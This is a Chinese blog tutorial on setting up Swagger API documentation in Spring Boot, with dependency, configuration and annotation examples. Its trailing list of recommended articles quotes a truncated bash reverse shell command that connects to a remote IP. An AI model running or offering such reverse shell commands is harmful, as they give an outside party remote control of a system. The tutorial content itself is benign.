简单了解一下 Swagger
一、Swagger
1、什么是 Swagger ?
Swagger 是一个规范和完整的框架,用于生成、描述、调用以及可视化的 Restful 风格的 Web 服务。
简单的理解:是一款 REST API 文档生成工具,生成在线的接口文档,方便接口测试。
2、为什么使用 Swagger?
前后端分离开发时,为了方便前后端接口调用规范,需要提供一个接口文档,但是维护这个接口文档是一个及其繁琐的事情,可能一不小心就忘记更新该文档从而导致前后端接口调用失败。
Swagger 就是为了解决这个问题而出现的(在线接口文档),其在接口方法上定义注解,并根据注解形成一个 html 页面,每次接口修改,这个 html 页面就会发生相应的改变,从而保证了接口文档的正确性。通过该 html 页面,可以很方便、清楚的知道这个接口的功能,并测试。
3、SpringBoot 整合 Swagger?
(1)Step1:
导入依赖 jar 包。
<!-- https://mvnrepository.com/artifact/io.springfox/springfox-swagger2 -->
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger2</artifactId>
<version>2.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/io.springfox/springfox-swagger-ui -->
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger-ui</artifactId>
<version>2.9.2</version>
</dependency>
(2)Step2:
配置 swagger 插件。
编写一个配置类,实现 WebMvcConfigurer 接口(可以不实现该接口),用于配置 Swagger 相关信息。
@EnableSwagger2 用于开启 Swagger。
package com.lyh.test.test_mybatis_plus.config; import io.swagger.annotations.ApiOperation;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import springfox.documentation.builders.ApiInfoBuilder;
import springfox.documentation.builders.PathSelectors;
import springfox.documentation.builders.RequestHandlerSelectors;
import springfox.documentation.service.ApiInfo;
import springfox.documentation.spi.DocumentationType;
import springfox.documentation.spring.web.plugins.Docket;
import springfox.documentation.swagger2.annotations.EnableSwagger2; @Configuration
@EnableSwagger2
public class SwaggerConfig implements WebMvcConfigurer { @Bean
public Docket createRestApi() {
return new Docket(DocumentationType.SWAGGER_2)
.apiInfo(apiInfo())
.select()
// 加了ApiOperation注解的类,才会生成接口文档
.apis(RequestHandlerSelectors.withMethodAnnotation(ApiOperation.class))
// 指定包下的类,才生成接口文档
.apis(RequestHandlerSelectors.basePackage("com.lyh.test.test_mybatis_plus.controller"))
.paths(PathSelectors.any())
.build();
} private ApiInfo apiInfo() {
return new ApiInfoBuilder()
.title("Swagger 测试")
.description("Swagger 测试文档")
.termsOfServiceUrl("https://www.cnblogs.com/l-y-h/")
.version("1.0.0")
.build();
}
}
(3)启动服务,并访问 swagger-ui.html 页面。
访问 http://localhost:8080/swagger-ui.html,显示如下,能够进入在线接口文档页面,由于并没有在方法上添加注解,所以接口方法都没有显示。
(4)给接口方法添加相关注解。
由于配置了 @ApiOperation 注解标注的方法才能被扫描到,所以在方法上添加该注解。
@RestController
@RequestMapping("/test_mybatis_plus/user")
public class UserController {
@Autowired
private UserService userService; @ApiOperation("获取所有用户")
@GetMapping("/test")
public Result list() {
return Result.ok().data("items", userService.list());
}
}
(5)重启服务,再次访问 swagger-ui.html 页面。
二、Swagger 注解、配置
1、Swagger 常用注解
(1)常用注解
swagger 通过注解去实现接口文档,这些注解可以标注接口名,请求方法,参数,返回信息等。
@Api 标注在 controller 类上,用于修饰 controller
@ApiOperation 标注在接口方法上,用于修饰 接口方法
@ApiParam 标注在接口参数上,用于修饰 参数
@ApiImplicitParam 标注在接口参数上,用于修饰 一个请求参数
@ApiImplicitParams 标注在接口参数上,用于修饰 多个请求参数(@ApiImplicitParam)
@ApiIgnore 标注在方法、参数上,表示忽略该方法、参数
@ApiModel 标注在实体类上,用来修饰实体类
@ApiModelProperty 标注在实体类的属性上,用于修饰实体类的属性。
(2)@Api @ApiOperation @ApiImplicitParam @ApiImplicitParams 举例:
import com.lyh.test.test_mybatis_plus.entity.User;
import com.lyh.test.test_mybatis_plus.service.UserService;
import com.lyh.test.test_mybatis_plus.util.Result;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiImplicitParam;
import io.swagger.annotations.ApiImplicitParams;
import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*; /**
* <p>
* 前端控制器
* </p>
*
* @author lyh
* @since 2020-05-08
*/
@RestController
@RequestMapping("/test_mybatis_plus/user")
@Api(value = "UserController", tags = "用户接口文档")
public class UserController {
@Autowired
private UserService userService; @ApiOperation("获取所有用户")
@GetMapping("/list")
public Result list() {
return Result.ok().data("items", userService.list());
} // paramType ="query" 对应 @RequestParam
// paramType ="path" 对应 @PathVariable
// paramType ="body" 对应 @RequestBody 不经常用
// paramType ="header" 对应 @RequestHeader
@ApiImplicitParams({
@ApiImplicitParam(name = "id", required = false, value = "用户 ID", paramType ="query", dataType = "Long"),
@ApiImplicitParam(name = "user", required = false, value = "用户信息", paramType ="body", dataType = "User")
})
@ApiOperation("新增用户")
@PutMapping("/update")
public Result update(@RequestBody User user, @RequestParam(required = false) Long id) {
System.out.println("==================");
System.out.println(id);
if (userService.save(user)) {
return Result.ok().message("数据更新成功");
} else {
return Result.error().message("数据更新失败");
}
}
}
(3)@ApiModel 、@ApiModelProperty 举例
@Data
@ApiModel("统一结果返回类结构")
public class Result {
/**
* 响应是否成功,true 为成功,false 为失败
*/
@ApiModelProperty("响应是否成功,true 为成功,false 为失败")
private Boolean success; /**
* 响应状态码, 200 成功,500 系统异常
*/
@ApiModelProperty("响应状态码, 200 成功,500 系统异常")
private Integer code; /**
* 响应消息
*/
@ApiModelProperty("响应消息")
private String message; /**
* 响应数据
*/
@ApiModelProperty("响应数据")
private Map<String, Object> data = new HashMap<>();
}
2、Swagger 配置
(1)简介
上面简单了解了下 swagger 常用注解,此处简单介绍一下 swagger 的配置类。
(2)配置类举例
根据项目情况修改 apiInfo、apis、paths 等信息。
其中:
apiInfo 用于定义 接口文档的基本信息。
apis 用于定义 接口扫描规则。
paths 用于定义 路径过滤规则。
@Configuration
@EnableSwagger2
public class SwaggerConfig implements WebMvcConfigurer { @Bean
public Docket createRestApi() {
return new Docket(DocumentationType.SWAGGER_2)
.apiInfo(apiInfo())
.select()
// 加了ApiOperation注解的类,才会生成接口文档
.apis(RequestHandlerSelectors.withMethodAnnotation(ApiOperation.class))
// 指定包下的类,才生成接口文档
.apis(RequestHandlerSelectors.basePackage("com.lyh.test.test_mybatis_plus.controller"))
.paths(PathSelectors.any())
.build();
} private ApiInfo apiInfo() {
return new ApiInfoBuilder()
.title("Swagger 测试")
.description("Swagger 测试文档")
.termsOfServiceUrl("https://www.cnblogs.com/l-y-h/")
.version("1.0.0")
.build();
}
}
(3)分析
Step1:简单了解一下注解。
@EnableSwagger2 注解用于开启 swagger。
@Bean 注解标注 createRestApi 方法用于实例 Docket 对象(文档插件)并交给 Spring 容器进行管理。
Step2:简单了解一下 apiInfo。
该方法用于定义 API 文档的基本信息。
【属性简单介绍:】
title 标题,默认为 Api Documentation
version 版本,默认为 1.0
description 描述信息,默认为 Api Documentation
termsOfServiceUrl 服务地址,默认为 urn:tos
license 许可证,默认为 Apache 2.0
licenseUrl 许可证地址,默认为 http://www.apache.org/licenses/LICENSE-2.0
contact 定义作者信息 【举例:】 private ApiInfo apiInfo() {
return new ApiInfoBuilder()
.title("后台管理系统 API 文档")
.description("本文档描述了后台管理系统相关接口的定义")
.termsOfServiceUrl("https://www.cnblogs.com/l-y-h/")
.version("1.0.0")
.contact(new Contact("lyh", "https://www.cnblogs.com/l-y-h/", "13865561381@163.com"))
.build();
}
Step3:简单了解一下 Docket
Docket 实现了 DocumentationPlugin 接口,即文档插件。
Docket 常用方法介绍。
【Docket 常用方法:】
apiInfo() 用于定义接口文档的基本信息。
enabled() 用于定义 swagger 是否使用。
select() 实例化一个 ApiSelectorBuilder,调用其 build 方法返回一个 Docket 对象。 【ApiSelectorBuilder 常用方法:】
apis() 用于定义接口扫描方式(可以使用 RequestHandlerSelectors 指定扫描规则)
paths() 用于过滤路径(可以使用 PathSelectors 去指定过滤规则)。
build() 返回一个 Docket 对象
注:
RequestHandlerSelectors 常用方法:
any() 扫描全部
none() 全部不扫描
withMethodAnnotation() 根据方法上的注解扫描
withClassAnnotation() 根据类上的注解扫描
basePackage() 指定要扫描的包 PathSelectors 常用方法:
any() 全部通过
none() 全部不通过
regex() 根据正则表达式匹配是否通过 【举例:】 @Configuration
@EnableSwagger2
public class SwaggerConfig implements WebMvcConfigurer {
@Value("${spring.profiles.active:#{null}}")
private String env; @Bean
public Docket createRestApi() {
return new Docket(DocumentationType.SWAGGER_2)
.apiInfo(apiInfo())
// 指定是否开启 swagger(如下,生产环境时不执行 swagger)
.enable("prod".equals(env) ? false : true)
// 指定分组名
.groupName("user")
.select()
// 加了ApiOperation注解的类,才会生成接口文档
.apis(RequestHandlerSelectors.withMethodAnnotation(ApiOperation.class))
// 指定包下的类,才生成接口文档
.apis(RequestHandlerSelectors.basePackage("com.lyh.test.test_mybatis_plus.controller"))
// 不过滤接口
.paths(PathSelectors.any())
.build();
}
}
简单了解一下 Swagger的更多相关文章
- 浅析如何在Nancy中使用Swagger生成API文档
前言 上一篇博客介绍了使用Nancy框架内部的方法来创建了一个简单到不能再简单的Document.但是还有许许多多的不足. 为了能稍微完善一下这个Document,这篇引用了当前流行的Swagger, ...
- .Net Core---- WebApi生成Swagger接口文档
1. Swagger是什么? Swagger 是一个规范和完整的框架,用于生成.描述.调用和可视化 RESTful 风格的 Web 服务.总体目标是使客户端和文件系统作为服务器以同样的速度来更新.文件 ...
- SpringBoot整合Swagger测试api构建
@Author:SimpleWu 什么是Swagger? Swagger是什么:THE WORLD'S MOST POPULAR API TOOLING 根据官网的介绍: Swagger Inspec ...
- ASP.NET Core WebApi使用Swagger生成api说明文档
1. Swagger是什么? Swagger 是一个规范和完整的框架,用于生成.描述.调用和可视化 RESTful 风格的 Web 服务.总体目标是使客户端和文件系统作为服务器以同样的速度来更新.文件 ...
- 接口文档神器Swagger(下篇)
本文来自网易云社区 作者:李哲 二.Swagger-springmvc原理解析 上面介绍了如何将springmvc和springboot与swagger结合,通过简单配置生成接口文档,以及介绍了swa ...
- Spring Boot + Swagger
前言: 在互联网公司, 微服务的使用者一般分为两种, 客户端和其他后端项目(包括关联微服务),不管是那方对外提供文档 让别人理解接口 都是必不可少的.传统项目中一般使用wiki或者文档, 修改繁琐,调 ...
- 接口文档管理工具-Postman、Swagger、RAP(转载)
接口文档管理工具-Postman.Swagger.RAP 转自:http://www.51testing.com/html/10/n-3715910.html 在项目开发测试中,接口文档是贯穿始终的. ...
- 玩转 SpringBoot 2 快速整合 | 丝袜哥(Swagger)
概述 首先让我引用 Swagger 官方的介绍: Design is the foundation of your API development. Swagger makes API design ...
- 如何使用Swagger为.NET Core 3.0应用添加JWT授权说明文档
简介 本教程采用WHY-WHAT-HOW黄金圈思维模式编写,黄金圈法则强调的是从WHY为什么学,到WHAT学到什么,再到HOW如何学.从模糊到清晰的学习模式.大家的时间都很宝贵,我们做事前先想清楚为什 ...
随机推荐
- Mac卸载.net core sdk
NET Core cli提供了卸载脚本 https://github.com/dotnet/cli/tree/master/scripts/obtain/uninstall dotnet-uninst ...
- 记一次Docker中Redis连接暴增的问题排查
周六生产服务器出现redis服务器不可用状态,错误信息为: 状态不可用,等待后台检查程序恢复方可使用.Unexpected end of stream; expected type 'Status' ...
- 常用的反弹shell脚本
bash shell反弹脚本 /bin/bash -i > /dev/tcp/10.211.55.11/ <& >& Python shell 反弹脚本 #!/usr ...
- iOS -iOS9中提示框(UIAlertController)的常见使用
iOS 8 之前提示框主要使用 UIAlertView和UIActionSheet:iOS 9 将UIAlertView和UIActionSheet合二为一为:UIAlertController . ...
- Java使用 Thumbnails 压缩图片
业务:用户上传一张图片到文件站,需要返回原图url和缩略图url 处理思路: 因为上传图片方法返回url是单个上传,第一步先上传原图并返回url 处理缩略图并上传:拿到MultipartFile压缩成 ...
- JavaScript转换json
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- CGAL代码阅读跳坑指南
CGAL代码阅读跳坑指南 整体框架介绍 CGAL中的算法和数据结构由它们使用的对象类型和操作参数化.它们可以处理满足特定语法和语义需求的任何具体模板参数.为了避免长参数列表,参数类型被收集到一个单独的 ...
- [转] 允许root通过ssh远程登录
点击阅读原文 在Ubuntu中允许root远程访问 如果使用如xshell等远程工具首次通过root连接Ubuntu会提示拒绝访问,并不是密码不正确,而是Ubuntu默认禁止以root远程连接. 我们 ...
- python常用模块-os
得到当前工作目录,即当前Python脚本工作的目录路径: os.getcwd() 返回指定目录下的所有文件和目录名:os.listdir() 函数用来删除一个文件:os.remove() 删除多个目录 ...
- 浅谈HTTPS和HTTP
1.HTTP和HTTPS的基本概念 HTTP:超文本传输协议,是互联网上应用最为广泛的一种网络协议,是一个客户端和服务端请求和应答的标准,用于WWW服务器传输超文本到本地浏览器的传输协议,它可以使浏览 ...